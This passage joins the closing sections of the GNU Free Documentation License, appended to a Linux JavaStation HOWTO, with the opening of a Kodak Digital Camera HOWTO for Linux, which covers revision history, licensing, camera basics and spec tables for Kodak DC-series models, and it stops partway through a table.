Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
Preamble | Up | Verbatim Copying


Verbatim Copying

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

2. Verbatim Copying

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
Applicability and Definitions | Up | Copying in Quantity


Copying in Quantity

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

3. Copying in Quantity

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
Verbatim Copying | Up | Modifications


Modifications

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

4. Modifications

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
Copying in Quantity | Up | Combining Documents


Combining Documents

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

5. Combining Documents

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
Modifications | Up | Collections of Documents


Collections of Documents

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

6. Collections of Documents

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
Combining Documents | Up | Aggregation with Independent Works


Aggregation with Independent Works

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

7. Aggregation with Independent Works

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
Collections of Documents | Up | Translation


Translation

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

8. Translation

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
Aggregation with Independent Works | Up | Termination


Termination

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

9. Termination

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
Translation | Up | Future Revisions of this License


Future Revisions of this License

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

10. Future Revisions of this License

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
Termination | Up | How to use this License for your documents


How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
Future Revisions of this License | Up


Kodak Digital Camera HOWTO

David Burley

The purpose of this document is to help one get their Kodak digital camera working under GNU/Linux. The scope of the document may change at any time to include more camera models. As of the current version this document does support some other models than ones sold under the Kodak name. However those are only mentioned as they work with the same steps that similar Kodak cameras use. This document is not likely to grow to support all digital cameras as there are simply too many to document in one HOWTO.

Table of Contents
1. Introduction
1.1. History
1.2. New Versions
1.3. Copyright and Trademarks
1.4. Acknowledgments and Thanks
1.5. Author Contact Information
1.6. Endorsements
1.7. Sponsors
2. Background
2.1. Digital Camera Technology--How Things Work
2.2. Kodak Digital Camera Product Line
2.3. Communicating With Digital Cameras
3. Communicating With the DC-Series Cameras
3.1. DC40, DC50, DC120, DC200, DC210
3.2. DC20, DC25, DC200+, DC210, DC210+ Zoom, DC215, DC220, DC220+, DC240, DC260, DC265, DC280, DC290
3.3. DC220, DC260, DC265, DC290 (HP Photosmart C500?)
3.4. Compact Flash PC Card Adapter/PCMCIA-ATA Storage Card
4. Software Support
4.1. OpenDiS (Open Digita Services)
4.2. Digita Operating Environment- Command Device Protocol Python Script
4.3. gPhoto
4.4. kdcpi
4.5. jPhoto
5. Additional Online Resources
5.1. Kodak Digital Camera Mailing Lists
5.2. Other Useful Mailing Lists
5.3. Useful Web Sites / Other Resources
6. FAQ
7. TODO
8. Appendix
8.1. Drivers for Alternate Operating Systems
8.2. Programs for Alternate Operating Systems
Next
Introduction


Introduction

Kodak Digital Camera HOWTO
Prev Next

1. Introduction

1.1. History

This HOWTO was created in an attempt to document installation of a Kodak DC-265 Camera.

Revision History:

January 6, 2001--

  • Documented at least one supported transfer method (most have two or more documented) for all Kodak DC-Series digital cameras.

  • Added specifications for most of the Kodak DC-Series digital cameras.

  • Updates for Linux 2.4.x kernel series release.

  • Additional software support listings added.

  • URL updates to fix old/broken URLs.

  • Document reformatting to make it an easier read.

  • License change, document is now licensed under the GNU Free Documentation License

October 9, 2000--

  • Fixes for the LinuxDoc->DocBook DTD change that went unnoticed

  • Additional information regarding drivers for other Operating Systems (Kodak didn't used to have them up on the web)

  • Various other changes

October 8, 2000--

  • IrDA support (This is not for the faint of heart and is only tested with a DC-265 but should also work with a DC-290 and maybe others with IrDA support)

October 4, 2000--

  • Many updates, contacted Kodak for permission to include some copywritten information, etc. etc.

August 22, 2000--

  • Conversion to DocBook DTD from LinuxDoc DTD as a lot of the HOWTOs are already converted

April 23, 2000--

  • Updated OpenDIS for IrDA support (CVS Version)

  • Fixed spelling goof s/shudder/shutter/ (Thanks Patrick!)

February 20, 2000--

  • Major clean up of general issues

  • Addition and rearrangement of sections

  • Additional mailing list and web resources added

February 17, 2000--

  • Major revision with lots of changes...

  • Updated for new backport and devel kernels

  • Rearranged for easier reading and flow

  • Updated for new OpenDiS release and the Python script.

January 18, 2000--

  • TODO added

  • Removal of kernel 2.2.13 section due to new USB backport release for 2.2.14. Replaced with a section for kernel 2.2.14. Please view previous HOWTO versions for information regarding older kernels

  • Removal of kernel 2.3.36 section due to newer developmental kernels, replaced with kernel 2.3.39. Please view previous HOWTO versions for information regarding older kernels.

  • Added a section detailing use of a Compact Flash PC Card Adapter

January 9, 2000--

  • Document modified for release of OpenDiS 0.0.3-pre6

January 4, 2000--

  • Support for DC-265 under kernels 2.2.13, 2.2.14, and 2.3.35 via USB draft completed.

  • History written

  • FAQ started

  • Background written

  • Lots of other fun stuff

January 3, 2000--

  • Initial research and work done to start writing HOWTO and thus it was born.

1.2. New Versions

New versions of this HOWTO will be available on http://www.marblehorse.org/projects/documentation/kodak/. Copies of this HOWTO will be provided in a number of formats, including SGML, HTML and ASCII text. The authoritative master of this document will be the LyX-formatted copy.

January 6, 2001--

v0.5.0 released (non-public)

October 8, 2000--

v0.0.10a released (public)

v0.0.10 released (public)

February 20, 2000--

v0.0.7 released (public)

v0.0.6 released (non-public)

February 17, 2000--

v0.0.4 released and v0.0.5 released (non-public)

January 18, 2000--

v0.0.3 released (non-public)

January 9, 2000--

v0.0.2 released (non-public)

January 4, 2000--

v0.0.1 released (non-public)

1.3. Copyright and Trademarks

1.3.1. Copyright

Copyright (c) 2000- 2001 David M. Burley

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invarient Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the GNU Free Documentation License can be found at http://www.gnu.org/copyleft/.

The program source code in this document is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

The source code is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. A copy of the GNU General Public License can be found at http://www.gnu.org/copyleft/.

1.3.2. Trademarks

Linux is a registered trademark of Linus Torvalds.

Kodak is a registered trademark of the Eastman Kodak Company.

Digita is a registered trademark of Flashpoint Technology, Inc.

Dell is a registered trademark of Dell Computer Corporation.

Windows is a registered trademark of Microsoft Corporation.

All other trademarks are the property of their respective owner.

1.4. Acknowledgments and Thanks

I would like to thank the Marble Horse Free Software Group for their support of my efforts, specifically Jacob Moorman for his direction and help with this and many of my other endeavors. I would also like to thank the rest of the Linux community, especially those working on USB and digital camera support. Know that there are people out there who are using your code and would like you to continue.

1.5. Author Contact Information

David Burley can be reached via email at the following address: khemicals@marblehorse.org

GPG Key ID:

60ACD148

Fingerprint:

76CE FFCA F637 DFD0 BAA5

1079 BCB1 3CDD 60AC D148

1.6. Endorsements

This is a project of David Burley, a member of the Marble Horse Free Software Group. This project has been adopted by the group as an appropriate free software project that is of benefit to the community.

1.7. Sponsors

Currently no individuals and/or companies have supplied any form of support for this document. However such donations would help for the addition of new or more information to this document or perhaps the creation of a document relating to another series of digital cameras. The testing equipment used was all purchased with the personal funds of the author which are of very limited quantity. Please send an e-mail to the author, David Burley, about sponsorship. All sponsors will be listed in this section.

Prev | Home | Next
Kodak Digital Camera HOWTO |  | Background


Background

Kodak Digital Camera HOWTO
Prev Next

2. Background

2.1. Digital Camera Technology--How Things Work

Digital cameras work with the same basic concept as a traditional camera. They have a viewfinder or LCD screen to show the image prior to taking a photograph, a lens with a shutter behind it to allow the light from the subject to hit a light sensitive material. However, this is where most of the similarities end.

Digital cameras use a CCD (Charged Coupled Device) to sense the colors of the light and their intensity. The CCD can be likened to a very find piece of graphing paper, with thousands of little squares (transistors) to which sense the differences between the colors. There are three types of transistors used in commonplace CCDs, red, green and blue. Each transistor then passes the color and intensity it sensed to and Analog-to-digital converter (ADC). The ADC then converts the information passed to it by the transistors into a digital format, or binary 1's and 0's. The digital output of the ADC is then passed to a Digital Signal Processor (DSP). The DSP adjusts the contrast and other image details to get the perfect look and then compresses the data into a file format like JPEG (Joint Photographics Expert Group).

Digital cameras may also have the ability to do an optical or a digital zoom on an image. An optical zoom is when a lens is used to get a closer look at the subject. A digital zoom is used to enhance the optical zoom for a larger image even though the maximum size has been attained via optical zoom. Even though an image can be resized later, it is suggested to use the built in digital zoom of the camera at this point before any compression has been done to the image. File formats like JPEG tend to degrade in quality when resized more so then when the image is resized by the camera's software. This is due to artifacts left behind from the compression.

A good resource for definitions of the terms used above is http://photo.askey.net/articles/glossary/ Please refer there for more information. Kodak also has a good site with much information on how things work, http://www.kodak.com/US/en/digital/dlc/.

2.2. Kodak Digital Camera Product Line

The technical specifications for the cameras in the Kodak Digital Camera product line have been attained from owners of the cameras and from third party web sites. None of the information in this section has been taken or compared to any Kodak documentation or their web site. Please submit missing and or incorrect information not obtained from copyrighted Kodak materials to khemicals@marblehorse.org. This information is useful to not only track the progression of digital cameras and as a comparison tool but also for many other technical uses.

2.2.1. DC5000

CDD Resolution | 2.1 Megapixel
Image Resolution | 1760 x 1168; 896 x 592 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | 2x zoom, autofocusing
Digital Zoom | 3x
Focus Range | 0.25m to infinity
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/755 second
Aperature Range | f/6.5 - f/13.0
ISO Equivalent | 100
Scripting | DigitaOS
Burst Capture | Yes
Time Lapse | Yes
Orientation Sensor | Yes
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | 140mm wide x 89mm deep x 83mm high
Weight | 1.0 lb without batteries
Video Out | NTSC or PAL

2.2.2. DC4800

CDD Resolution | 3.3 Megapixels
Image Resolution | 2160 x 1440; 1800 x 1200; 1536 x 1024; 1080 x 720 pixels
Image Quality Options | Uncompressed TIFF, Normal and Basic
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | 3x zoom, autofocusing
Digital Zoom | 2x
Focus Range | 7.8” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/1000 - 16 seconds
Aperature Range | f/2.8 - f/8.0
ISO Equivalent | 100, 200 and 400
Scripting | ?
Burst Capture | Yes
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range)
File Formats | JPEG (.JPG), TIFF (.TIFF)
User Interface | ?
Power | LiIon rechargeable batter pack or optional AC adapter
Dimensions | 4.72” wide x 2.56” deep x 2.72” high
Weight | 0.72 lb without batteries
Video Out | NTSC or PAL

2.2.3. DC3800

CDD Resolution | 2.3 Megapixel
Image Resolution | 1792 x 1184; 896 x 592 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.5” TFT color LCD and optical viewfinder
Lens | autofocusing
Digital Zoom | 2x
Focus Range | 8” to infinity
Exposure | Auto
Shutter Speed | 1/2 - 1/1000 of a second
Aperature Range | f/2.8 - f/8.0
ISO Equivalent | 100
Scripting | ?
Burst Capture | Yes
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (8.2' range)
File Formats | JPEG (.JPG)
User Interface | ?
Power | 2 AA batteries or AC Power Adapter
Dimensions | 3.7” wide x 2.4” deep x 1.3” high
Weight | 0.36 lb without batteries
Video Out | NTSC

2.2.4. DC3400

CDD Resolution | 1901 x 1212 pixels
Image Resolution | 1760 x 1168; 896 x 592 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT Color LCD and optical viewfinder
Lens | 2x zoom, autofocusing
Digital Zoom | 3x
Focus Range | 9.8” to infinity
Exposure | Auto
Shutter Speed | 1/2 - 1/755 second
Aperature Range | Wide: f/3.1 - f/8.1; Telephoto: f/3.9 - 10.3
ISO Equivalent | 100
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | 5.2” wide x 2.1” deep x 3.0” high
Weight | 0.75 lb without batteries
Video Out | NTSC or PAL

2.2.5. DC3200

CDD Resolution | 1280 x 960
Image Resolution | 1152 x 864; 576 x 432 pixels
Image Quality Options | Best, Better, Good
Image Storage | 2 MB Internal and Compact Flash Card slot
Viewfinder | 1.6” TFT color LCD and optical viewfinder
Lens | autofocusing
Digital Zoom | 2x
Focus Range | 24” to infinity
Exposure | Auto
Shutter Speed | 1/4 - 1/500 of a second
Aperature Range | f/3.6 - f/8.0
ISO Equivalent | 100
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | ?
Tripod Mount | ?
Flash | Strobe flash (8' range)
File Formats | JPEG (.JPG)
User Interface | ?
Power | 4 AA batteries
Dimensions | 4.45” wide x 3.19” deep x 2.1” high
Weight | 0.475 lb without batteries
Video Out | NTSC only (US Version) or NTSC/PAL (Canadian Version)

2.2.6. DC290

CDD Resolution | 1901 x 1212 pixels
Image Resolution | 2240 x 1500; 1792 x 1200; 1440 x 960; 720 x 480 pixels
Image Quality Options | ?
Image Storage | Compact Flash Card
Viewfinder | 2.0” TFT color LCD and optical viewfinder
Lens | 3x zoom, autofocusing
Digital Zoom | 2x
Focus Range | 12” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/400 - 16 second
Aperature Range | Wide: f/3.0 - f/15.3; Telephoto: f/4.7 - f/16.0
ISO Equivalent | 100
Scripting | DigitaOS
Burst Capture | Yes
Time Lapse | Yes
Orientation Sensor | Yes
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | GUI
Power | 4 AA batteries or AC Power Adapter
Dimensions | 4.6” wide x 2.2” deep x 4.2” high
Weight | 1.2 lb without batteries
Video Out | NTSC or PAL

2.2.7. DC280

CDD Resolution | 1901 x 1212 pixels
Image Resolution | 1760 x 1168; 896 x 592 pixels
Image Quality Options | Best, Better and Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | 3x zoom, autofocusing
Digital Zoom | 2x
Focus Range | 0.5m - Infinity; 0.25m - 0.5m
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/755 second
Aperature Range | Wide: f/3.0 - f/7.6; Telephoto: f/3.8 - f/9.6
ISO Equivalent | 70
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | ?
Flash | Strobe flash (9.6' range)
File Formats | JPEG (.JPG)
User Interface | GUI
Power | 4 AA batteries or AC Power Adapter
Dimensions | 5.2” wide x 2.0” deep x 3.0” high
Weight | 0.75 lb without batteries
Video Out | NTSC or PAL

2.2.8. DC265

CDD Resolution | 1548 x 1032 pixels
Image Resolution | 1536 x 1024; 1152 x 768; 768 x 512 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 2.0” TFT color LCD and optical viewfinder
Lens | 3x zoom, autofocusing
Digital Zoom | 2x
Focus Range | 12” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/4 - 1/400 of a second
Aperature Range | Wide: f/3.0 - f/14.0; Telephoto: f/4.7 - f/22.0
ISO Equivalent | 100
Scripting | DigitaOS
Burst Capture | Yes
Time Lapse | Yes
Orientation Sensor | Yes
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | GUI
Power | 4 AA batteries or AC Power Adapter
Dimensions | 4.6” wide x 2.2” deep x 4.2” high
Weight | 1.2 lb without batteries
Video Out | NTSC or PAL

2.2.9. DC260 (discontinued)

CDD Resolution | 1548 x 1032 pixels
Image Resolution | 1536 x 1024; 1152 x 768; 768 x 512 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 2.0” TFT color LCD and optical viewfinder
Lens | 3x zoom, autofocusing
Digital Zoom | 2x
Focus Range | 12” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/4 - 1/400 of a second
Aperature Range | Wide: f/3.0 - f/14.0; Telephoto: f/4.7 - f/22.0
ISO Equivalent | 100
Scripting | DigitaOS
Burst Capture | Yes
Time Lapse | Yes
Orientation Sensor | Yes
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | GUI
Power | 4 AA batteries or AC Power Adapter
Dimensions | 4.6” wide x 2.2” deep x 4.2” high
Weight | 1.2 lb without batteries
Video Out | NTSC or PAL

2.2.10. DC240 / DC240i

CDD Resolution | 1344 x 971 pixels
Image Resolution | 1280 x 960; 640 x 480 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | 3x zoom, autofocusing
Digital Zoom | 2x
Focus Range | 19.6” to infinity; 9.8” to 19.6”
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/755 of a second
Aperature Range | Wide: f/2.8 - f/16.0; Telephoto: f/4.5 - f/25.7
ISO Equivalent | 140
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range)
File Formats | JPEG (.JPG)
User Interface | GUI
Power | 4 AA batteries or AC Power Adapter
Dimensions | 5.2” wide x 2.0” deep x 3.0” high
Weight | 0.7 lb without batteries
Video Out | NTSC or PAL

2.2.11. DC220 (discontinued)

CDD Resolution | 1174 x 884 pixels
Image Resolution | 1152 x 864; 640 x 480 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 2.0” TFT color LCD and optical viewfinder
Lens | 2x focus free zoom
Digital Zoom | 2x
Focus Range | 8” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/360 of a second
Aperature Range | Wide: f/4.0 - f/13.5; Telephoto: f/4.7 - f/16.0
ISO Equivalent | 140
Scripting | DigitaOS
Burst Capture | Yes
Time Lapse | Yes
Orientation Sensor | Yes
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | GUI
Power | 4 AA batteries or AC Power Adapter
Dimensions | 4.6” wide x 2.2” deep x 4.2” high
Weight | 1.2 lb without batteries
Video Out | NTSC or PAL

2.2.12. DC215 / DC215 Metallics

CDD Resolution | 1174 x 884 pixels
Image Resolution | 1152 x 768; 640 x 480 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | 2x focus free zoom
Digital Zoom | ?
Focus Range | 8” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/362 of a second
Aperature Range | Wide: f/3.0 - f/13.5; Telephoto: f/4.79 - f/16.0
ISO Equivalent | 140
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range)
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | 4.5” wide x 1.7” deep x 2.7” high
Weight | 0.66 lb without batteries
Video Out | NTSC or PAL

2.2.13. DC210 (discontinued)

CDD Resolution | ?
Image Resolution | 1152 x 864; 640 x 480 pixels
Image Quality Options | ?
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | ?
Digital Zoom | ?
Focus Range | ?
Exposure | ?
Shutter Speed | ?
Aperature Range | ?
ISO Equivalent | 140
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | ?
Tripod Mount | ?
Flash | ?
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | ?
Weight | ?
Video Out | NTSC or PAL

2.2.14. DC210 Plus

CDD Resolution | 1174 x 884 pixels
Image Resolution | 1152 x 864; 640 x 480 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | 2x focus free zoom
Digital Zoom | ?
Focus Range | 8” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/362 of a second
Aperature Range | Wide: f/4.0 - f/13.5; Telephoto: f/4.7 - f/16.0
ISO Equivalent | 140
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range)
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | 5.2” wide x 1.9” deep x 3.2” high
Weight | 0.75 lb without batteries
Video Out | NTSC or PAL

2.2.15. DC200 (discontinued)

CDD Resolution | 1160 x 872 pixels
Image Resolution | 1152 x 864; 640 x 480 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | focus free
Digital Zoom | ?
Focus Range | 27” to infinity
